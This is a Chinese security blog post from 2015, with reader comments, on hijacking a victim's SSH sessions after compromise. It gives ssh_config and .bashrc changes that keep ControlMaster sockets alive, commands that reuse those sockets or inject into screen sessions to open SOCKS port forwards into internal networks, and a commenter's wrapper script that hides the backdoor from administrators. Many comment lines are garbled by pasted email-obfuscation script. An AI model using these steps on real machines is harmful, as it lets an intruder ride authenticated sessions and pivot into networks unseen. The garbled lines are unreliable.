劫持SSH会话注入端口转发

mickey 2015-03-18 10:39:00

0x00 前言


昨天A牛发群里的链接,其实这种攻击我感觉适合留后门,属于Post Exploitation阶段,我以前也没用过这个方法,都是傻呼呼的用个ld_preload后门,实际环境测试通过后,发现可用,比较有实用价值,就分享下,有错误的地方还请大家指出。

0x01 细节


1.1第一种场景:

攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:

1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes  

如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

2. 当(ssh_user)连接到hop_1(192.168.56.131)的时候,会在/tmp目录下生成一个socket文件,我们使用

ssh -S /tmp/root@192.168.56.131\:22 %h

来连接

注入命令端口转发的命令如下:

ssh -O forward -D 8888 -S /tmp/root@192.168.56.131\:22 %x

执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。

3. 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@192.168.56.131:22,也可以优雅的使用

root@kali: # ssh -O exit -S /tmp/root@192.168.56.131\:22 %x

来删除。

在.bashrc里封装ssh命令的方法如下:

ssh () 
{ 
    /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}

1.2第二种场景:

这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:

1. 当ssh_user使用

screen ssh root@192.168.56.131

连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件

root@kali:~# ls -la /var/run/screen/
total 0
drwxrwxr-x  3 root utmp  60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar  3 21:23 ..
drwx------  2 root root  60 Mar 16 04:21 S-root

其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话,或者用screen -x 6851.pts-0.kali

2. 如果要注入端口转发,还有 一点要注意,需要先执行script /dev/null来绕过pts/tty限制。命令如下

root@kali:~# lsof -i TCP:8888
root@kali:~# script /dev/null 
Script started, file is /dev/null
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'~C'
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'-D:8888\n\n'
root@kali:~# lsof -i TCP:8888
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     6852 root    7u  IPv4  94301      0t0  TCP *:8888 (LISTEN)
ssh     6852 root    8u  IPv6  94302      0t0  TCP *:8888 (LISTEN)

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。

0x02 参考文章


http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

评论

晓川 2015-03-18 11:01:29

沙发么

G

Getshell 2015-03-18 15:07:52

这个简直屌炸天

路人甲 2015-03-18 15:22:15

不要惹我,给你们说这是我师傅!

T

Taskiller 2015-03-18 15:26:39

这个简直屌炸天

H

HackBraid 2015-03-18 16:02:34

不要惹我,给你们说这是我师傅!

R

redrain有节操 2015-03-18 16:57:18

楼上不要闹,这是我老公

存在敏感词 2015-03-18 17:03:28

不要惹我,给你们说这是我菊友!

路人甲 2015-03-18 17:08:51

不要玩楼主

T

tmp 2015-03-18 22:45:23

场景1 不能这么简单的做.还要处理一下.要不.会死人的.
楼主可能没测试,你不ssh -S socket.你直接再ssh [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */..呵呵呵. 除非管理员是大sb

云中鹰 2015-03-19 00:42:11

不要惹我,给你们说这是我炮友!

mickey 2015-03-19 09:52:42


你看截图,我就是ssh -S socket这样的啊

mickey 2015-03-19 10:30:31

我知道你说的是什么意思了
就是已经有socket了,下次管理员再连接的时候就不用输入密码了,容易被管理员发现
在/etc/ssh/ssh_config里不好直接解决这个问题
我是在.bashrc里判断处理的,如果有以前创建的连接远程主机的socket,就先移到别的地方,然后下下次管理员连接的时候,就不在创建socket。这样就行了。

我是壮丁 2015-03-19 12:01:39

内网渗透必备技能

G

Gavin 2015-03-19 15:23:11

Get

我是壮丁 2015-03-19 15:57:33

恩,写几行脚本,就能避免那个问题了

T

tmp 2015-03-19 16:01:03

你多测试一些不同的linux.比如centos5/6 ubuntu debian
我不知道是系统版本影响还是ssh版本影响,(没时间去折腾) 会出现不同的状况.
1 ControlPersist yes 不支持,直接报错
2 第一次登陆远程,创建本地socket后.退出远程会卡住.(ctrl+c都无效)
3 有些系统不设置ControlPersist参数.退出登陆后socket会保留,有些会直接删了.(这个问题不大)
1.2不管对谁都是灾难
反正多测试.这个东西不是想象中的那么统一

T

tmp 2015-03-19 16:03:05

那只能说明你没去详细测试.这样就容易出现,你转我也转.最后大家都是错的

T

tmp 2015-03-19 16:10:13

其实ControlPath /tmp/%r@%h:%p
你没必要弄个:. 麻烦,下次连ssh还要\转义
.你直接ControlPath /tmp/%r@%h_%p 或者 ControlPath /tmp/%r@%h 不要都行%p也行.反正就是个socket的命名.

_

_Evil 2015-03-19 16:42:35

我就静静的看着你

我是壮丁 2015-03-19 16:44:51

我这个是测试了的
测试环境是:
CentOS release 6.6 (Final)
Kernel \r on an \m
1.ControlPersist yes 这个是支持的
2.远程登陆没有你说的卡住的情况
这个命令是无效的
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ls
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:22 yum.log
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -O forward -D 8888 -S root\@192.168.5.5\:22 %x
Invalid multiplex command.
最后换了
ssh -S [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */\:22 [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ -Nf -D 127.0.0.1:3130
这个可以
这是我实际的测试情况,有的地方有可能不准确

T

tmp 2015-03-19 17:01:06

你是这里错了%x
不是%x
是%h
老鼠楼主转错了

mickey 2015-03-19 17:15:45

我写这文章,当时确实是测试了的,就是没有你仔细,看能用socket连接上,就没有在测试用管理员再次连接了,所以没发现居然不需要再次输入密码的问题,多谢你帮我指出问题。
我当时的测试平台是debian,应该是可以的了。

mickey 2015-03-19 17:20:34

[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -S root\@192.168.5.5\:22 %x
这里原文章说填写什么都可以%x或%a或%b,都可以,我本地测试也是可以
测试环境kali

我是壮丁 2015-03-19 17:25:49

kali下面:
ssh -O forward -D 8884 -S [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */\:22 [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */
ssh -O forward -D 8884 -S [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */\:22 %h
ssh -O forward -D 8884 -S [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */\:22 %x
三个一样
centos中:
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 [email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */
Invalid multiplex command.
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %x
Invalid multiplex command.
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %a
Invalid multiplex command.
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %b
Invalid multiplex command.
[[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */ tmp]#
应该是不支持这种写法
环境不同引起的

T

tmp 2015-03-19 17:32:26

嗯.我和壮丁都是在centos下测试.不能用%x .
centos 6.6是能正常用ControlPersist yes  
< centos6.6 ControlPersist yes不一定能正常用.
我之前测试.debian 6好像也正常.忘记kali是基于啥版本linux的??
所以.我之前说.这个技巧不一定通用.没多系统测试过.贸然使用.会很惨

T

tmp 2015-03-19 17:41:33

我这句话.....不是对你说的.哈哈哈.我是对壮丁说的.
另外
你看看别的系统.如果移动了ssh的socket.是否还能正常使用.
当爸的人了.没太多时间测试太多东西.
当然.这是个不错的技巧.有时间可以一起玩linux

我是壮丁 2015-03-19 17:58:42

@tmp,我是测试过的,直接写到了.bashrc
ssh的socket移动这个问题,在生成socket的这个机器上我移动后还是可以用的
socket文件应该是cp不到其他机器上的
这个技巧真是猥琐,大赞

T

tmp 2015-03-19 18:47:11

ssh()
{
[ -S /tmp/*@* ] && (mv /tmp/*@* /dev/shm ; > ~/.ssh/config ) || echo -e "ControlPath /tmp/%r@%h_%p\nControlMaster auto\nControlPersist yes" > ~/.ssh/config
/usr/bin/ssh "$@"
}

mickey 2015-03-19 19:14:09

socket文件移动了还是可以用的,注销以后也可以用,但是重启后就不能用了,debian测试。

T

tmp 2015-03-19 19:32:56

@mickey 下面留了个脚本.不知道是否能用...有时间的话.帮忙测试一下.或者你发现啥好技巧.继续这里补充.我继续带娃娃去.....

Knight 2015-03-21 21:00:56

高大上。

mickey

此号多人用,发表任何信息不代表本人观点

twitter weibo github wechat

随机分类

安全开发 文章:83 篇
XSS 文章:34 篇
其他 文章:95 篇
IoT安全 文章:29 篇
浏览器安全 文章:36 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录